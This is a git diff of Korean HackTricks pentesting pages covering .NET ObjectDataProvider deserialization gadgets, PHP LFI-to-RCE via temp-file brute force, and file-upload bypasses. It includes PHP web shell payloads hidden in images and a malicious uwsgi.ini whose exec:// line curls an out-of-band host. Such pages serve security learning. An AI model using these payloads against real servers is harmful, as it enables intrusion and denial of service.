[**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하여 우리가 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다.
![](<../../images/image (427).png>)
`MethodName`이 설정되면 `base.Refresh()`가 호출되는 것을 볼 수 있습니다. 이게 무엇을 하는지 살펴보겠습니다:
`MethodName`이 설정되면 `base.Refresh()`가 호출되는 것을 볼 수 있습니다. 이 함수가 무엇을 하는지 살펴보겠습니다:
![](<../../images/image (319).png>)
좋습니다, 이제 `this.BeginQuery()`가 무엇을 하는지 계속 살펴보겠습니다. `BeginQuery`는 `ObjectDataProvider`에 의해 재정의되며, 이것이 수행하는 작업은 다음과 같습니다:
좋습니다, 이제 `this.BeginQuery()`가 무엇을 하는지 계속 살펴보겠습니다. `BeginQuery`는 `ObjectDataProvider`에 의해 재정의되며, 다음과 같은 작업을 수행합니다:
![](<../../images/image (345).png>)
코드 끝부분에서 `this.QueryWorke(null)`를 호출하고 있다는 점에 유의하세요. 이것이 무엇을 실행하는지 살펴보겠습니다:
코드의 끝에서 `this.QueryWorke(null)`를 호출하는 것을 주목하세요. 이것이 무엇을 실행하는지 살펴보겠습니다:
![](<../../images/image (596).png>)
이것은 `QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **`this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이것이 **메서드 집합이 호출되는** 라인입니다.
이것은 `QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **`this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이 줄이 **메서드 세트가 호출되는** 부분입니다.
단순히 _**MethodName**_을 설정하는 것만으로도 **실행될 것**임을 확인하고 싶다면, 이 코드를 실행할 수 있습니다:
_**MethodName**_을 설정하기만 하면 실행된다는 것을 확인하고 싶다면, 이 코드를 실행할 수 있습니다:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,14 +52,14 @@ myODP.MethodName = "Start";
}
}
```
다음과 같이 참조를 추가해야 합니다: _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 를 추가해야 `System.Windows.Data`를 로드할 수 있습니다.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_를 참조로 추가해야 `System.Windows.Data`를 로드할 수 있습니다.
## ExpandedWrapper
이전의 익스플로잇을 사용하면 **객체**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 경우가 있습니다 (예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 `GetType`을 사용하여 역직렬화됨). 그러면 _ObjectDataProvider_ 인스턴스에 래핑된 객체 유형에 대한 **정보가 없습니다** (예: `Process`). DotNetNuke 취약점에 대한 더 많은 [정보는 여기에서 확인할 수 있습니다](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
이전의 익스플로잇을 사용하면 **객체**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 경우가 있습니다(예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 `GetType`을 사용하여 역직렬화됨). 그러면 _ObjectDataProvider_ 인스턴스에 래핑된 객체 유형에 대한 **정보가 없습니다**(예: `Process`). DotNetNuke 취약점에 대한 더 많은 [정보는 여기에서 확인할 수 있습니다](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있도록** 합니다. 따라서 이 클래스는 소스 객체 (_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 우리가 필요한 속성 (_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
이는 앞서 제시된 경우와 같이 매우 유용합니다. 왜냐하면 우리는 **\_ObjectDataProvider**_\*\*를 \*\*_**ExpandedWrapper** \_ 인스턴스 안에 **래핑**할 수 있고 **역직렬화될 때** 이 클래스는 _**OjectDataProvider**_ 객체를 **생성**하여 _**MethodName**_에 지정된 **함수**를 **실행**할 것입니다.
이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있도록** 합니다. 따라서 이 클래스는 소스 객체(_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 우리가 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\
이는 앞서 제시된 경우와 같이 매우 유용합니다. 왜냐하면 우리는 **_ObjectDataProvider**_를 **_**ExpandedWrapper** _ 인스턴스 안에 **래핑**할 수 있고 **역직렬화될** 때 이 클래스가 **생성**할 _**OjectDataProvider**_ 객체가 _**MethodName**_에 지정된 **함수**를 **실행**할 것이기 때문입니다.
다음 코드를 사용하여 이 래퍼를 확인할 수 있습니다:
```java
@ -89,7 +89,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
### Json.Net 예제
먼저 이 라이브러리를 사용하여 객체를 **직렬화/역직렬화**하는 방법에 대한 예제를 살펴보겠습니다:
우선 이 라이브러리를 사용하여 객체를 **직렬화/역직렬화**하는 방법에 대한 예제를 살펴보겠습니다:
```java
using System;
using Newtonsoft.Json;

34
src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
기본적으로 PHP에 파일이 업로드되면 (예상하지 않더라도) **`/tmp`**에 **`php[a-zA-Z0-9]{6}`**와 같은 이름의 임시 파일이 생성됩니다. 그러나 일부 도커 이미지에서는 생성된 파일에 숫자가 포함되지 않는 경우도 있었습니다.
기본적으로 PHP에 파일이 업로드되면 (예상하지 않더라도) **`php[a-zA-Z0-9]{6}`**와 같은 이름의 임시 파일이 `/tmp`에 생성됩니다. 그러나 일부 도커 이미지에서는 생성된 파일에 숫자가 포함되지 않는 경우도 보았습니다.
로컬 파일 포함에서 **업로드된 파일을 포함할 수 있다면 RCE를 얻을 수 있습니다**.
기본적으로 **PHP는 단일 요청에서 20개의 파일만 업로드할 수 있도록 허용합니다** (설정은 **`/etc/php/<version>/apache2/php.ini`**에 있습니다):
기본적으로 **PHP는 단일 요청에서 20개의 파일만 업로드할 수 있도록 허용합니다** (설정은 `/etc/php/<version>/apache2/php.ini`에 있습니다):
```
; Maximum number of files that can be uploaded via a single request
max_file_uploads = 20
@ -22,11 +22,11 @@ max_file_uploads = 20
### 영원한 대기 기술
이 기술에서는 **상대 경로만 제어하면 됩니다**. 파일을 업로드하고 **LFI가 끝나지 않도록 만들면**, 우리는 업로드된 파일을 **브루트 포스**하고 **찾을 수 있는 "충분한 시간"을 가지게 됩니다**.
이 기술에서는 **상대 경로만 제어하면 됩니다**. 파일을 업로드하고 **LFI가 끝나지 않도록 만들 수 있다면**, 우리는 "충분한 시간"을 가지게 되어 **업로드된 파일을 브루트 포스하고** **찾을 수 있습니다**.
**이 기술의 장점**:
- 포함된 내부의 상대 경로만 제어하면 됩니다.
- 포함된 파일 내에서 상대 경로만 제어하면 됩니다.
- nginx나 로그 파일에 대한 예상치 못한 접근 수준이 필요하지 않습니다.
- 세그멘테이션 오류를 일으키기 위해 0일이 필요하지 않습니다.
- 경로 노출이 필요하지 않습니다.
@ -34,14 +34,14 @@ max_file_uploads = 20
이 기술의 **주요 문제**는 다음과 같습니다:
- 특정 파일이 존재해야 합니다(더 있을 수 있습니다).
- **미친** 잠재적 파일 이름의 수: **56800235584**
- 서버가 **숫자를 사용하지 않는다면** 총 잠재적 수는: **19770609664**
- **미친** 양의 잠재적 파일 이름: **56800235584**
- 서버가 **숫자를 사용하지 않는다면** 총 잠재적 양은: **19770609664**
- 기본적으로 **단일 요청**에서 **20개 파일만** 업로드할 수 있습니다.
- 사용된 서버의 **최대 병렬 작업자 수**.
- 사용 중인 서버의 **최대 병렬 작업자 수**.
- 이전의 제한과 함께 이 제한은 이 공격이 너무 오래 지속되게 만들 수 있습니다.
- **PHP 요청의 타임아웃**. 이상적으로는 영원해야 하거나 임시로 업로드된 파일을 삭제하지 않고 PHP 프로세스를 종료해야 합니다. 그렇지 않으면 이것도 고통이 될 것입니다.
- **PHP 요청의 타임아웃**. 이상적으로는 이 요청이 영원해야 하거나 임시로 업로드된 파일을 삭제하지 않고 PHP 프로세스를 종료해야 합니다. 그렇지 않으면 이것도 문제가 될 것입니다.
그렇다면, 어떻게 **PHP 포함을 끝나지 않게 만들 수 있을까요**? 파일 **`/sys/kernel/security/apparmor/revision`**을 포함하기만 하면 됩니다 (**불행히도 Docker 컨테이너에서는 사용할 수 없습니다...**).
그렇다면, 어떻게 **PHP 포함을 끝나지 않게 만들 수 있을까요**? 파일 **`/sys/kernel/security/apparmor/revision`**을 포함시키기만 하면 됩니다 (**안타깝게도 Docker 컨테이너에서는 사용할 수 없습니다...**).
그냥 호출해 보세요:
```bash
@ -52,7 +52,7 @@ include("/sys/kernel/security/apparmor/revision");
기본적으로 Apache는 **150개의 동시 연결**을 지원하며, [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/)에 따르면 이 숫자를 최대 **8000**까지 늘릴 수 있습니다. 이 모듈과 함께 PHP를 사용하려면 다음을 따르세요: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
기본적으로, (내 테스트에서 볼 수 있듯이) **PHP 프로세스는 영원히 지속될 수 있습니다**.
기본적으로 (내 테스트에서 볼 수 있듯이) **PHP 프로세스는 영원히 지속될 수 있습니다**.
수학을 해봅시다:
@ -65,20 +65,20 @@ include("/sys/kernel/security/apparmor/revision");
> [!WARNING]
> 이전 예제에서 우리는 **다른 클라이언트를 완전히 DoS**하고 있다는 점에 유의하세요!
Apache 서버가 개선되고 **4000개의 연결**을 남용할 수 있다면 (최대 수의 절반). 우리는 `3999*20 = 79980` **파일**을 생성할 수 있으며 **시간**은 약 **19.7시간** 또는 **6.9시간**으로 **줄어들** 것입니다 (10시간, 3.5시간 50% 확률).
Apache 서버가 개선되고 **4000개의 연결**을 남용할 수 있다면 (최대 숫자의 절반). 우리는 `3999*20 = 79980` **파일**을 생성할 수 있으며, **시간**은 약 **19.7시간** 또는 **6.9시간**으로 **줄어들** 것입니다 (10시간, 3.5시간 50% 확률).
## PHP-FMP
정상적인 php 모듈 대신 **웹 페이지가** **PHP-FMP**를 사용하여 PHP 스크립트를 실행하는 경우 (이것은 웹 페이지의 효율성을 향상시키므로 일반적으로 발견됩니다), 기술을 개선하기 위해 할 수 있는 다른 방법이 있습니다.
PHP-FMP는 **`/etc/php/<php-version>/fpm/pool.d/www.conf`**에서 **`request_terminate_timeout`** **매개변수**를 **구성**할 수 있게 해줍니다.\
이 매개변수는 **PHP에 대한 요청이 종료되어야 하는 최대 초 수**를 나타냅니다 (기본적으로 무한하지만 **매개변수가 주석 해제되면 30초**). PHP가 요청을 처리하는 동안 지정된 초 수가 지나면, 요청이 **종료**됩니다. 이는 요청이 임시 파일을 업로드하고 있었던 경우, **PHP 처리가 중단되었기 때문에**, 해당 **파일이 삭제되지 않을 것**임을 의미합니다. 따라서 요청이 그 시간을 지속할 수 있다면, **삭제되지 않을 수천 개의 임시 파일을 생성**할 수 있으며, 이는 **파일을 찾는 과정을 가속화**하고 모든 연결을 소모하여 플랫폼에 대한 DoS 확률을 줄입니다.
이 매개변수는 **PHP에 대한 요청이 종료되어야 하는 최대 초 수**를 나타냅니다 (기본적으로 무한하지만, **매개변수가 주석 해제되면 30초**). PHP가 요청을 처리하는 동안 지정된 초 수가 지나면, 요청이 **종료**됩니다. 이는 요청이 임시 파일을 업로드하고 있었던 경우, **PHP 처리가 중단되었기 때문에**, 해당 **파일이 삭제되지 않을 것**을 의미합니다. 따라서 요청이 그 시간을 지속할 수 있다면, **삭제되지 않는 수천 개의 임시 파일을 생성**할 수 있으며, 이는 **파일을 찾는 과정을 가속화**하고 모든 연결을 소모하여 플랫폼에 대한 DoS 확률을 줄입니다.
따라서 **DoS를 피하기 위해** 공격자가 동시에 **100개의 연결**만 사용할 것이라고 가정하고 php max 처리 시간은 **php-fmp**의 **`request_terminate_timeout`**이 **30초**라고 가정합니다. 따라서 **초당** 생성할 수 있는 **임시 파일**의 수는 `100*20/30 = 66.67`입니다.
따라서 **DoS를 피하기 위해** 공격자가 동시에 **100개의 연결**만 사용할 것이라고 가정하고, php-fmp의 최대 처리 시간인 **`request_terminate_timeout`**이 **30초**라고 가정합니다. 따라서 **초당** 생성할 수 있는 **임시 파일**의 수는 `100*20/30 = 66.67`입니다.
그런 다음, **10000개의 파일**을 생성하기 위해 공격자는: **`10000/66.67 = 150초`**가 필요합니다 ( **100000개의 파일**을 생성하는 데는 **25분**이 소요됩니다).
그런 다음, 공격자는 이 **100개의 연결**을 사용하여 **브루트 포스 검색**을 수행할 수 있습니다. \*\*\*\* 300 req/s의 속도를 가정할 때, 이를 활용하는 데 필요한 시간은 다음과 같습니다:
그런 다음, 공격자는 이 **100개의 연결**을 사용하여 **브루트 포스 검색**을 수행할 수 있습니다. 300 req/s의 속도를 가정할 때, 이를 활용하는 데 필요한 시간은 다음과 같습니다:
- 56800235584 / 10000 / 300 / 3600 \~= **5.25시간** (2.63시간에 50% 확률)
- (100000개의 파일로) 56800235584 / 100000 / 300 / 3600 \~= **0.525시간** (0.263시간에 50% 확률)
@ -88,10 +88,10 @@ PHP-FMP는 **`/etc/php/<php-version>/fpm/pool.d/www.conf`**에서 **`request_ter
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> 타임아웃을 트리거하기 위해 **취약한 LFI 페이지를 포함하는 것만으로도 충분**하다는 점에 유의하세요. 그러면 영원한 포함 루프에 들어갑니다.
> 타임아웃을 트리거하기 위해서는 **취약한 LFI 페이지를 포함하는 것만으로도 충분**하므로, 영원한 포함 루프에 들어갑니다.
## Nginx
기본적으로 Nginx는 동시에 **512개의 병렬 연결**을 지원하는 것 같습니다 (이 숫자는 개선될 수 있습니다).
기본적으로 Nginx는 동시에 **512개의 병렬 연결**을 지원하는 것으로 보이며 (이 숫자는 개선될 수 있습니다).
{{#include ../../banners/hacktricks-training.md}}

80
src/pentesting-web/file-upload/README.md
View File

@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터를 확장자 사이에 추가하는 기술을 사용합니다.
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터를 확장자 사이에 추가하는 기술을 사용할 수 있습니다.
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,15 +43,15 @@
5. 이전 검사에 **또 다른 확장자 레이어**를 추가합니다:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **유효한 확장자 앞에 exec 확장자를 넣고** 서버가 잘못 구성되기를 기도합니다. (Apache 잘못 구성에서 유용하며, 확장자** _**.php**_**로 끝나지 않더라도** 코드를 실행합니다):
6. **유효한 확장자 앞에 exec 확장자를 넣고** 서버가 잘못 구성되기를 기도합니다. (확장자가 **.php**로 끝나지 않더라도 **.php**가 있는 모든 것이 코드를 실행하는 Apache 잘못 구성에서 유용합니다):
- _ex: file.php.png_
7. **Windows**에서 **NTFS 대체 데이터 스트림 (ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
8. 파일 이름 제한을 깨보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
7. **Windows**에서 **NTFS 대체 데이터 스트림(ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
8. 파일 이름 제한을 **깨뜨려** 보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
```
# 리눅스 최대 255 바이트
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
# 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 예를 들어 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -59,7 +59,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type, 매직 넘버, 압축 및 크기 조정 우회
### 콘텐츠 유형, 매직 넘버, 압축 및 크기 조정 우회
- **Content-Type** 검사를 우회하려면 **Content-Type** **헤더**의 **값**을 다음으로 설정합니다: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **단어 목록**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
@ -67,38 +67,38 @@ AAA<--SNIP 232 A-->AAA.php.png
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 또는 이미지를 통해 **페이로드를 직접 삽입**할 수도 있습니다:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용합니다. 그러나 **IDAT 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술입니다. 그러나 **tEXt 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- [**코드가 포함된 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용합니다. 그러나 **IDAT 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- [**코드가 포함된 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- **이미지 크기 조정**을 견딜 수 있는 페이로드를 만들기 위한 또 다른 기술로 PHP-GD 함수 `thumbnailImage`를 사용할 수 있습니다. 그러나 **tEXt 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- [**코드가 포함된 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 확인할 기타 트릭
### 기타 확인할 트릭
- 이미 업로드된 파일의 이름을 **변경**할 수 있는 취약점을 찾습니다 (확장자를 변경).
- **로컬 파일 포함** 취약점을 찾아 백도어를 실행합니다.
- **정보 유출 가능성**:
1. **동일한 파일**을 **여러 번** (그리고 **동시에**) **동일한 이름**으로 업로드합니다.
2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다.
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 **Windows**의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다. (Windows) 예: **“…:.jpg”**
5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다. 예: `|<>*?”` (Windows)
6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다. 예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9.
- 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 합니다.
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다 (예: **“…:.jpg”**). (Windows)
5. **Windows**에서 이름에 **유효하지 않은 문자**를 가진 파일을 업로드합니다 (예: `|<>*?”`). (Windows)
6. **Windows**에서 **예약된** (**금지된**) **이름**을 가진 파일을 업로드합니다 (예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9).
- 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 코드를 실행하도록 합니다.
### 특수 확장자 트릭
**PHP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하십시오](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
**ASP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하십시오](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP에 해당하며 **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
`.inc` 확장자는 때때로 파일을 **가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
## **Jetty RCE**
Jetty 서버에 XML 파일을 업로드할 수 있다면, [RCE를 얻을 수 있습니다. **새로운 \*.xml 및 \*.war가 자동으로 처리됩니다**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에서 언급된 대로 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하고 셸을 기대하십시오!
Jetty 서버에 XML 파일을 업로드할 수 있다면 [RCE를 얻을 수 있습니다. **새로운 \*.xml 및 \*.war가 자동으로 처리됩니다**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에서 언급된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하고 셸을 기대하십시오!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -106,7 +106,7 @@ Jetty 서버에 XML 파일을 업로드할 수 있다면, [RCE를 얻을 수 있
이 취약점에 대한 자세한 탐색은 원본 연구를 확인하십시오: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다.
원격 명령 실행(RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위해 악용될 수 있습니다.
다음은 다양한 스킴을 보여주는 유해한 `uwsgi.ini` 파일의 예입니다:
```ini
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
페이로드의 실행은 구성 파일의 파싱 중에 발생합니다. 구성이 활성화되고 파싱되기 위해서는 uWSGI 프로세스가 재시작되어야 하며(충돌 후 또는 서비스 거부 공격으로 인해) 파일이 자동으로 다시 로드되도록 설정되어야 합니다. 자동 다시 로드 기능이 활성화된 경우, 변경 사항을 감지하면 지정된 간격으로 파일을 다시 로드합니다.
